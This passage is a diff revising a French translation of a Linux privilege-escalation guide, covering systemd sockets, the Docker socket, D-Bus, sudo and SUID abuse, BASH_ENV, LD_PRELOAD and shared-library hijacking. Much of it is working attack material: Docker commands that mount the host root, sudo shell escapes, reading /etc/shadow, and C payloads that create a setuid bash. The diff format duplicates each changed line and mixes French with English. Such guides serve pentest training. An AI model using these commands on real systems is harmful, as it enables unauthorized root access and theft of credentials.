systemd (comme une `.service`) qui **exécute un binaire accessible en écriture** -- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous avez des **privilèges d'écriture** sur le **systemd PATH** (pour usurper cet exécutable) +- Trouver une unité systemd (comme une `.service`) qui **exécute un binaire sur lequel l'écriture est autorisée** +- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous disposez de **privilèges d'écriture** sur le **systemd PATH** (pour usurper cet exécutable) -**Pour en savoir plus sur les timers, utilisez `man systemd.timer`.** +**En savoir plus sur les timers avec `man systemd.timer`.** ### **Activation du timer** @@ -460,30 +490,30 @@ Pour activer un timer, vous avez besoin des privilèges root et d'exécuter : sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Notez que le **timer** est **activé** en créant un symlink vers lui sur `/etc/systemd/system/.wants/.timer` +Notez que le **timer** est **activé** en créant un lien symbolique vers celui-ci dans `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou sur des machines différentes dans des modèles client-serveur. Ils utilisent des fichiers descripteurs Unix standard pour la communication inter-machines et sont configurés via des fichiers `.socket`. +Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou sur des machines différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-machines et sont configurés via des fichiers `.socket`. -Sockets can be configured using `.socket` files. +Les sockets peuvent être configurés à l'aide de fichiers `.socket`. **En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options diffèrent mais servent en résumé à **indiquer où le socket va écouter** (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) -- `Accept` : Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **false**, tous les sockets d'écoute eux-mêmes sont **passés à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les datagram sockets et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. **Defaults to false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement d'une manière adaptée à `Accept=no`. -- `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les sockets/FIFOs d'écoute soient **créés** et liés, respectivement. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. -- `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les sockets/FIFOs d'écoute soient **fermés** et supprimés, respectivement. -- `Service` : Spécifie le nom de l'unité de **service** à **activer** sur le trafic entrant. Ce paramètre n'est autorisé que pour les sockets avec `Accept=no`. Il prend par défaut le service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options diffèrent mais, en résumé, servent à **indiquer où sera écouté** le socket (le chemin du fichier de socket AF_UNIX, l'adresse IPv4/IPv6 et/ou le numéro de port à écouter, etc.) +- `Accept` : Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **false**, tous les sockets d'écoute sont **passés à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFO où une seule unité de service gère sans condition tout le trafic entrant. **Par défaut : false**. Pour des raisons de performance, il est recommandé d'écrire les nouveaux démons de façon compatible avec `Accept=no`. +- `ExecStartPre`, `ExecStartPost` : Accepte une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute soient respectivement **créés** et liés. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. +- `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute soient respectivement **fermés** et supprimés. +- `Service` : Spécifie le nom de l'unité **service** **à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service portant le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. ### Writable .socket files -Si vous trouvez un fichier `.socket` **writable** vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exécuté avant que le socket soit créé. Par conséquent, vous **devrez probablement attendre que la machine soit rebooted.**\ +Si vous trouvez un fichier `.socket` **écrivables**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exécuté avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ _Notez que le système doit utiliser cette configuration de fichier socket sinon le backdoor ne sera pas exécuté_ ### Writable sockets -Si vous **identifiez un socket writable** (_ici nous parlons des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité. +Si vous **identifiez un socket inscriptible** (_nous parlons ici des sockets Unix et non des fichiers de configuration `.socket`_), alors **vous pouvez communiquer** avec ce socket et éventuellement exploiter une vulnérabilité. ### Enumerate Unix Sockets ```bash @@ -498,7 +528,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Exemple d'exploitation :** {{#ref}} @@ -507,26 +537,28 @@ socket-command-injection.md ### HTTP sockets -Notez qu'il peut y avoir certains **sockets listening for HTTP** requests (_je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets_). Vous pouvez vérifier cela avec: +Notez qu'il peut y avoir des **sockets listening for HTTP** requests (_Je ne parle pas des fichiers .socket mais des fichiers servant de unix sockets_). Vous pouvez vérifier cela avec : ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **répond à une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. +Si le socket **répond à une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. -### Socket Docker accessible en écriture +### Docker socket accessible en écriture -Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Disposer d'un accès en écriture à ce socket peut conduire à une escalade de privilèges. Voici une répartition de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. +Le Docker socket, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est accessible en écriture par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut mener à une privilege escalation. Voici une répartition de la manière dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. -#### **Escalade de privilèges avec Docker CLI** +#### **Privilege Escalation with Docker CLI** -Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes : +Si vous avez un accès en écriture au Docker socket, vous pouvez escalate privileges en utilisant les commandes suivantes : ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -#### **Utiliser directement l'API Docker** +Ces commandes vous permettent d'exécuter un container avec un accès root au système de fichiers de l'hôte. -Si le Docker CLI n'est pas disponible, le socket Docker peut néanmoins être manipulé en utilisant l'API Docker et des commandes `curl`. +#### **Utiliser l'API Docker directement** + +Dans les cas où le Docker CLI n'est pas disponible, le socket Docker peut toujours être manipulé à l'aide de l'API Docker et de commandes `curl`. 1. **List Docker Images:** Récupérer la liste des images disponibles. @@ -546,7 +578,7 @@ Démarrer le container nouvellement créé : curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Utilisez `socat` pour établir une connexion au container, permettant l'exécution de commandes à l'intérieur. +3. **Attach to the Container:** Utiliser `socat` pour établir une connexion au container, permettant l'exécution de commandes à l'intérieur. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -560,27 +592,27 @@ Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes d ### Autres -Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes **inside the group `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes **inside the group `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si le [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consultez **plus de façons de s'échapper de docker ou de l'abuser pour escalader les privilèges** dans : +Consultez **d'autres façons d'échapper à docker ou de l'abuser pour escalader les privilèges** dans : {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) Escalade de privilèges +## Containerd (ctr) élévation de privilèges -Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être capable de l'abuser pour escalader les privilèges** : +Si vous trouvez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être capable de l'abuser pour escalader les privilèges** : {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** Escalade de privilèges +## **RunC** élévation de privilèges -Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être capable de l'abuser pour escalader les privilèges** : +Si vous trouvez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être capable de l'abuser pour escalader les privilèges** : {{#ref}} @@ -589,13 +621,13 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus est un système sophistiqué de communication inter-processus (IPC) qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications. +D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications. -Le système est polyvalent, supportant des IPC de base qui améliorent l'échange de données entre processus, rappelant **enhanced UNIX domain sockets**. De plus, il facilite la diffusion d'événements ou de signaux, favorisant une intégration fluide entre les composants du système. Par exemple, un signal d'un démon Bluetooth annonçant un appel entrant peut demander à un lecteur audio de se mettre en sourdine, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus traditionnellement complexes. +Le système est polyvalent, prenant en charge un IPC basique qui améliore l'échange de données entre processus, rappelant **enhanced UNIX domain sockets**. De plus, il facilite la diffusion d'événements ou de signaux, favorisant une intégration fluide entre les composants du système. Par exemple, un signal émis par un daemon Bluetooth au sujet d'un appel entrant peut pousser un lecteur audio à couper le son, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de service et les appels de méthodes entre applications, rationalisant des processus autrefois complexes. -D-Bus fonctionne selon un modèle **allow/deny**, gérant les permissions de messages (appels de méthodes, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une escalade de privilèges via l'exploitation de ces permissions. +D-Bus fonctionne selon un **allow/deny model**, gérant les permissions des messages (appels de méthodes, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une élévation de privilèges via l'exploitation de ces permissions. -Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root d'être propriétaire, d'envoyer et de recevoir des messages de `fi.w1.wpa_supplicant1`. +Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root pour posséder, envoyer et recevoir des messages de `fi.w1.wpa_supplicant1`. Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques. ```xml @@ -606,7 +638,7 @@ Les politiques sans utilisateur ou groupe spécifié s'appliquent universellemen ``` -**Apprenez comment énumérer et exploiter une communication D-Bus ici :** +**Apprenez comment enumerate and exploit une communication D-Bus ici :** {{#ref}} @@ -615,9 +647,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Réseau** -Il est toujours intéressant d'énumérer le réseau et de déterminer la position de la machine. +Il est toujours intéressant d'enumerate le réseau et de déterminer la position de la machine. -### Énumération générique +### Générique enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -640,7 +672,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Ports ouverts Vérifiez toujours les services réseau en cours d'exécution sur la machine avec lesquels vous n'avez pas pu interagir avant d'y accéder : ```bash @@ -649,7 +681,7 @@ Vérifiez toujours les services réseau en cours d'exécution sur la machine ave ``` ### Sniffing -Vérifiez si vous pouvez sniff traffic. Si c'est le cas, vous pourriez être en mesure de récupérer des credentials. +Vérifiez si vous pouvez sniff traffic. Si oui, vous pourriez être en mesure de récupérer des credentials. ``` timeout 1 tcpdump ``` @@ -657,7 +689,7 @@ timeout 1 tcpdump ### Énumération générique -Vérifiez **qui** vous êtes, quels **privilèges** vous avez, quels **utilisateurs** sont dans les systèmes, lesquels peuvent **login** et lesquels ont des **root privilèges** : +Vérifiez **qui** vous êtes, quels **privilèges** vous avez, quels **utilisateurs** sont présents sur les systèmes, lesquels peuvent **login** et lesquels ont **root privileges** : ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,12 +713,12 @@ gpg --list-keys 2>/dev/null ``` ### UID élevé -Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'obtenir une élévation de privilèges. Plus d'informations : [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`** ### Groupes -Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous donner des privilèges root : +Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder des privilèges root : {{#ref}} @@ -706,7 +738,7 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Politique des mots de passe +### Politique de mots de passe ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` @@ -716,23 +748,23 @@ Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous con ### Su Brute -Si cela ne vous dérange pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez essayer de brute-force des utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` tente également de brute-force des utilisateurs. +Si cela ne vous dérange pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez essayer de brute-force les utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` tente également de brute-force les utilisateurs. ## Abus du $PATH inscriptible ### $PATH -Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être capable d'escalader vos privilèges en **créant un backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. +Si vous découvrez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être capable d'escalader vos privilèges en **créant une backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. ### SUDO and SUID -Il se peut que vous soyez autorisé à exécuter certaines commandes avec sudo ou que des binaires aient le bit suid. Vérifiez-le en utilisant : +Il se peut que vous soyez autorisé à exécuter certaines commandes avec sudo ou que des binaires aient le bit suid. Vérifiez cela en utilisant : ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Certaines **commandes inattendues vous permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple : +Certaines **commandes inattendues vous permettent de lire et/ou écrire des fichiers ou même d'exécuter une commande.** Par exemple : ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -743,37 +775,37 @@ less>! ``` ### NOPASSWD -La configuration de Sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe. +La configuration de Sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître son mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`, il est alors trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire `root` ou en appelant `sh`. +Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`. Il est alors trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en appelant `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution de quelque chose: +Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution d'une commande : ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Cet exemple, **based on HTB machine Admirer**, était **vulnerable** au **PYTHONPATH hijacking** pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : +Cet exemple, **based on HTB machine Admirer**, était **vulnérable** à **PYTHONPATH hijacking** pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV préservé via sudo env_keep → root shell -Si sudoers préserve `BASH_ENV` (p.ex., `Defaults env_keep+="ENV BASH_ENV"`), vous pouvez exploiter le comportement de démarrage non-interactif de Bash pour exécuter du code arbitraire en tant que root lors de l'appel d'une commande autorisée. +Si sudoers préserve `BASH_ENV` (par ex., `Defaults env_keep+="ENV BASH_ENV"`), vous pouvez tirer parti du comportement de démarrage non interactif de Bash pour exécuter du code arbitraire en tant que root lors de l'invocation d'une commande autorisée. -- Pourquoi ça fonctionne : Pour les shells non-interactifs, Bash évalue `$BASH_ENV` et source ce fichier avant d'exécuter le script cible. De nombreuses règles sudo permettent d'exécuter un script ou un wrapper de shell. Si `BASH_ENV` est préservé par sudo, votre fichier est sourcé avec les privilèges root. +- Why it works: Pour les shells non interactifs, Bash évalue `$BASH_ENV` et source ce fichier avant d'exécuter le script cible. Beaucoup de règles sudo permettent d'exécuter un script ou un wrapper shell. Si `BASH_ENV` est préservé par sudo, votre fichier est sourcé avec les privilèges root. -- Conditions requises : -- Une règle sudo que vous pouvez exécuter (toute cible qui invoque `/bin/bash` de façon non-interactive, ou tout script bash). -- `BASH_ENV` présent dans `env_keep` (vérifiez avec `sudo -l`). +- Requirements: +- Une règle sudo que vous pouvez exécuter (n'importe quelle cible qui invoque `/bin/bash` de manière non interactive, ou n'importe quel script bash). +- `BASH_ENV` présent dans `env_keep` (vérifier avec `sudo -l`). - PoC: ```bash @@ -785,14 +817,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Durcissement: -- Supprimer `BASH_ENV` (et `ENV`) de `env_keep`, préférer `env_reset`. +- Durcissement : +- Supprimer `BASH_ENV` (et `ENV`) de `env_keep`, privilégier `env_reset`. - Éviter les wrappers shell pour les commandes autorisées par sudo ; utiliser des binaires minimaux. -- Envisager la journalisation I/O de sudo et les alertes lorsque des variables d'environnement préservées sont utilisées. +- Envisager la journalisation I/O de sudo et des alertes lorsque des variables d'environnement préservées sont utilisées. -### Chemins pour contourner l'exécution sudo +### Chemins permettant de contourner l'exécution Sudo -**Accédez** aux autres fichiers ou utilisez des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Aller** lire d'autres fichiers ou utiliser **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -807,23 +839,23 @@ Si un **wildcard** est utilisé (\*), c'est encore plus facile : sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Sudo command/SUID binary sans chemin de commande -Si la **permission sudo** est accordée pour une seule commande **sans spécifier le chemin** : _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH +Si la **sudo permission** est accordée à une seule commande **sans spécifier le chemin** : _hacker10 ALL= (root) less_, vous pouvez l'exploiter en modifiant la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Cette technique peut aussi être utilisée si un binaire **suid** **exécute une autre commande sans spécifier le chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**). +Cette technique peut aussi être utilisée si un binaire **suid** **exécute une autre commande sans spécifier le chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID bizarre)**. [Payload examples to execute.](payloads-to-execute.md) ### Binaire SUID avec chemin de commande -Si le binaire **suid** **exécute une autre commande en spécifiant le chemin**, vous pouvez alors essayer de **exporter une fonction** nommée comme la commande que le fichier suid appelle. +Si le binaire **suid** **exécute une autre commande en spécifiant le chemin**, alors vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle. Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_ vous devez essayer de créer la fonction et de l'exporter : ```bash @@ -834,14 +866,14 @@ Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur (loader) avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. +La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. -Cependant, pour préserver la sécurité du système et empêcher que cette fonctionnalité soit exploitée, notamment avec des exécutables **suid/sgid**, le système applique certaines conditions : +Cependant, pour maintenir la sécurité du système et empêcher que cette fonctionnalité soit exploitée, particulièrement avec des exécutables **suid/sgid**, le système applique certaines conditions : -- Le chargeur ignore **LD_PRELOAD** pour les exécutables dont l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). -- Pour les exécutables suid/sgid, seules les bibliothèques situées dans des chemins standard et elles‑mêmes suid/sgid sont préchargées. +- Le chargeur ignore **LD_PRELOAD** pour les exécutables dont l'ID utilisateur réel (_ruid_) ne correspond pas à l'ID utilisateur effectif (_euid_). +- Pour les exécutables **suid/sgid**, seules les bibliothèques situées dans des chemins standards et qui sont elles-mêmes **suid/sgid** sont préchargées. -Une élévation de privilèges peut se produire si vous pouvez exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut la déclaration **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être prise en compte même lorsque des commandes sont exécutées avec `sudo`, ce qui peut conduire à l'exécution de code arbitraire avec des privilèges élevés. +Une élévation de privilèges peut se produire si vous avez la possibilité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` contient la directive **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être prise en compte même lorsque des commandes sont exécutées via `sudo`, ce qui peut conduire à l'exécution de code arbitraire avec des privilèges élevés. ``` Defaults env_keep += LD_PRELOAD ``` @@ -868,7 +900,7 @@ Enfin, **escalate privileges** en exécutant sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Une privesc similaire peut être exploitée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH**, car il contrôle le chemin où les bibliothèques seront recherchées. +> Un privesc similaire peut être exploité si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques seront recherchées. ```c #include #include @@ -890,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Lorsque vous tombez sur un binaire avec des permissions **SUID** qui semble inhabituel, il est conseillé de vérifier s'il charge correctement des fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : +Lorsqu'on rencontre un binaire avec les permissions **SUID** qui semble inhabituel, il est recommandé de vérifier s'il charge correctement des fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` Par exemple, rencontrer une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère un potentiel d'exploitation. -Pour l'exploiter, on procéderait en créant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : +Pour exploiter cela, on procède en créant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : ```c #include #include @@ -909,11 +941,11 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ``` Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés. -Compilez le fichier C ci‑dessus en un fichier shared object (.so) avec : +Compilez le fichier C ci‑dessus en un objet partagé (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. +Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une éventuelle compromission du système. ## Shared Object Hijacking ```bash @@ -925,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Maintenant que nous avons trouvé un binaire SUID chargeant une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom requis : +Maintenant que nous avons trouvé un binaire SUID chargeant une library depuis un folder où nous pouvons écrire, créons la library dans ce folder avec le nom nécessaire : ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -942,13 +974,13 @@ Si vous obtenez une erreur telle que ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -Cela signifie que la bibliothèque que vous avez générée doit contenir une fonction appelée `a_function_name`. +cela signifie que la bibliothèque que vous avez générée doit inclure une fonction appelée `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande. +[**GTFOBins**](https://gtfobins.github.io) est une liste sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **n'injecter que des arguments** dans une commande. -Le projet recense des fonctions légitimes de binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter les autres tâches de post-exploitation. +Le projet répertorie des fonctions légitimes de binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter d'autres tâches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! 